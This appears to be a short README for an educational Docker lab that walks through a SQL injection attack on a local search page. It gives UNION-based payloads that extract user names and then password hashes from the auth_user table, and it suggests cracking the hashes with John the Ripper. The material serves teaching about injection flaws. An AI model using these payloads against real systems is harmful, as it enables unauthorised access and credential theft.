How to perform a SQL Injection Attack
docker build -t logstoneducation/sql-injection:0.0.1 .
docker run --rm -p 8000:8000 logstoneducation/sql-injection:0.0.1
- http://127.0.0.1:8000/items/search
- Search for a few items (eg. Madison)
- Check if the search is vulnerable by searching for
blah' UNION SELECT 1'
. This cause us to search for "blah" and then UNION that with aSELECT 1
call. - It takes some trial and error before we find out the name of the user table:
- Search for
z' UNION SELECT first_name FROM auth_user WHERE first_name LIKE '
SELECT name FROM orders_item WHERE name LIKE '%z' UNION SELECT first_name FROM auth_user WHERE first_name LIKE '%'
- Instead of searching for
first_name
, we can search forpassword
.SELECT name FROM orders_item WHERE name LIKE '%z' UNION SELECT password FROM auth_user WHERE first_name LIKE '%'
Now we can take these and pass them to a password cracker like JTR.